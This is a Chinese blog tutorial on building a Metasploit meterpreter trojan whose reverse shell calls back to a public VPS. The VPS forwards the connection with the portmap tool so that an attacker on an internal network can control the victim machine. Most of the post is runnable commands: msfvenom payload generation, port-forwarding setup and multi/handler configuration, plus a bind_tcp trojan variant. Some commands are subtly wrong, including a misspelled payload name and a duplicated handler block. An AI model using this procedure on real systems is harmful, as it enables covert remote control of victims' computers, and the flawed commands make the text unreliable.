Metasploit之木马端口转发

当Kali处于内网,而目标处于公网但是需要反向连接(正向连接可能会被防火墙拦下来)或者目标也处于内网的时候,Kali应该怎么接收Shell呢?

这个问题在我没有玩过Metasploit之前我一直没弄懂,当攻击机与靶机处在不同网络,目标反向连接是怎么找到自己的Kali的,现在趁着寒假有空,搞搞他

准备工作:

  • Kali(内网,攻击机)
  • VPS(公网IP,端口转发,"中转站")
  • Windows 7 sp1 (内网,靶机)
  • Linux版的lcx -> portmap (端口转发工具) lcx_vuln.cn_.zip

生成木马

先使用msfvenom生成一个典型反向连接木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=[VPSIP] lport=[端口] -f exe > shell.exe

由于涉及知识盲区,搞不了免杀,直接生成吧

lhost的值为公网IP,端口除去公共端口都行,这里就设置为 9999

msfvenom -p windows/meterpreter/reverse_tcp lhost=*.*.*.* lport=9999 -f exe > shell.exe

把生成的木马上传到靶机

VPS监听端口及转发

在VPS使用portmap工具进行端口转发,一开始可能会执行不了,先给portmap执行权限

[root@VM_0_10_centos lcx]# chmod +x portmap        # 赋予执行权限
[root@VM_0_10_centos lcx]# ./portmap -m 2 -p1 9999 -p2 8888    # 运行、监听

VPS Listen

*:将9999端口接收的内容转发到8888端口,也就是靶机连接到VPS的9999端口,攻击机连接到8888端口

靶机运行木马

靶机运行木马之后,靶机会反弹一个shell到指定IP,而这里我们指定了一个VPS的IP地址,VPS的9999端口监听到有连接之后会将这个连接转发到8888端口,当攻击机主动连接了这个8888端口这个连接之后,VPS会继续监听9999端口

Metasploit连接VPS

接下来就是使用msf连接VPS,shell被反弹到了VPS的9999端口,而VPS配置端口转发,把9999端口转发到8888,相当于VPS的8888端口绑定了一个shell,等待我们去连接,所以这里使用正向连接bind_tcp

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set RHOST [VPSIP]
msf5 exploit(multi/handler) > set LPORT 8888    # 端口设置为VPS转发的端口
msf5 exploit(multi/handler) > run

Msf Listen

当MSF连接上VPS的8888端口之后

VPS

VPS Access

Msf

Msf Meterpreter

就是这么个流程

最后画了一张图,比较好理解

正向shell 理解

bind_tcp 这是一个基于TCP的正向连接shell(直连shell),将shell绑定到一个本地端口上,这样任何人都可以在本地网络中发送命令。靶机监听,等待攻击机连接,就像服务器的SSH一样,开启一个端口,等待连接

bind_tcp 生成木马

msfvenom -p windows/meterperter/bind_tcp -lhost=0.0.0.0 lport=45678 -f exe > shell.exe

这样生成的马儿,靶机运行之后会监听45678端口,因为设置了0.0.0.0,所以任何地址连接45678端口都可以

在MSF设置Payload

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set RHOST [VPSIP]
msf5 exploit(multi/handler) > set LPORT 8888    # 端口设置为VPS转发的端口
msf5 exploit(multi/handler) > run

标签: 内网端口转发

添加新评论